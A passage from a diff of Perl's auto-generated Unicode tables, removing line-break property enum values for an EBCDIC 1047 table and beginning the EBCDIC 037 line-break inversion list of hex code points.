LB_Alphabetic, - LB_JL, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_Alphabetic, - LB_JV, - LB_Alphabetic, - LB_JT, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Combining_Mark, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Infix_Numeric, - LB_Close_Punctuation, - LB_Infix_Numeric, - LB_Exclamation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Inseparable, - LB_Alphabetic, - LB_Combining_Mark, - LB_Ideographic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Ideographic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Ideographic, - LB_Close_Punctuation, - LB_Ideographic, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Nonstarter, - LB_Exclamation, - LB_Ideographic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Prefix_Numeric, - LB_Postfix_Numeric, - LB_Ideographic, - LB_Alphabetic, - LB_Word_Joiner, - LB_Alphabetic, - LB_Exclamation, - LB_Ideographic, - LB_Prefix_Numeric, - LB_Postfix_Numeric, - LB_Ideographic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Ideographic, - LB_Close_Punctuation, - LB_Ideographic, - LB_Close_Punctuation, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Exclamation, - LB_Ideographic, - LB_Open_Punctuation, - LB_Ideographic, - LB_Close_Punctuation, - LB_Ideographic, - LB_Open_Punctuation, - LB_Ideographic, - LB_Close_Punctuation, - LB_Ideographic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Prefix_Numeric, - LB_Ideographic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Contingent_Break, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Inseparable, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_Before, - LB_Break_After, - LB_Exclamation, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_Before, - LB_Alphabetic, - LB_Break_After, - LB_Break_Before, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Break_Before, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_Before, - LB_Exclamation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Nonstarter, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Regional_Indicator, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Modifier, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Alphabetic, - LB_Quotation, - LB_Nonstarter, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic -}; - -# endif /* EBCDIC 1047 */ - -#endif /* defined(PERL_IN_REGEXEC_C) */ - -#if defined(PERL_IN_UTF8_C) - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV _Perl_LB_invlist[] = { /* for EBCDIC 037 */ - 2325, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0xB, - 0xD, - 0xE, - 0x15, - 0x16, - 0x25, - 0x26, - 0x40, - 0x41, - 0x42, - 0x4A, - 0x4B, - 0x4C, - 0x4D, - 0x4E, - 0x4F, - 0x50, - 0x5A, - 0x5B, - 0x5C, - 0x5D, - 0x5E, - 0x5F, - 0x60, - 0x61, - 0x62, - 0x6B, - 0x6C, - 0x6D, - 0x6F, - 0x70, - 0x7A, - 0x7B, - 0x7D, - 0x7E, - 0x7F, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x90, - 0x91, - 0x9F, - 0xA0, - 0xAA, - 0xAC, - 0xB1, - 0xB3, - 0xBA, - 0xBB, - 0xBC, - 0xBE, - 0xBF, - 0xC0, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xE0, - 0xE1, - 0xF0, - 0xFA, - 0xFF, - 0x100, - 0x2C8, - 0x2C9, - 0x2CC, - 0x2CD, - 0x2DF, - 0x2E0, - 0x300, - 0x34F, - 0x350, - 0x35C, - 0x363, - 0x370, - 0x37E, - 0x37F, - 0x483, - 0x48A, - 0x589, - 0x58A, - 0x58B, - 0x58F, - 0x590, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x609, - 0x60C, - 0x60E, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x61E, - 0x620, - 0x64B, - 0x660, - 0x66A, - 0x66B, - 0x66D, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6DD, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x6F0, - 0x6FA, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7C0, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F8, - 0x7F9, - 0x7FA, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x8E2, - 0x8E3, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x964, - 0x966, - 0x970, - 0x981, - 0x984, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9D7, - 0x9D8, - 0x9E2, - 0x9E4, - 0x9E6, - 0x9F0, - 0x9F2, - 0x9F4, - 0x9F9, - 0x9FA, - 0x9FB, - 0x9FC, - 0xA01, - 0xA04, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA66, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA84, - 0xABC, - 0xABD, - 0xABE, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAE2, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF1, - 0xAF2, - 0xAFA, - 0xB00, - 0xB01, - 0xB04, - 0xB3C, - 0xB3D, - 0xB3E, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB62, - 0xB64, - 0xB66, - 0xB70, - 0xB82, - 0xB83, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xBF9, - 0xBFA, - 0xC00, - 0xC04, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC66, - 0xC70, - 0xC81, - 0xC84, - 0xCBC, - 0xCBD, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCE2, - 0xCE4, - 0xCE6, - 0xCF0, - 0xD00, - 0xD04, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD57, - 0xD58, - 0xD62, - 0xD64, - 0xD66, - 0xD70, - 0xD79, - 0xD7A, - 0xD82, - 0xD84, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE3F, - 0xE40, - 0xE47, - 0xE4F, - 0xE50, - 0xE5A, - 0xE5C, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xF01, - 0xF05, - 0xF06, - 0xF08, - 0xF09, - 0xF0B, - 0xF0C, - 0xF0D, - 0xF12, - 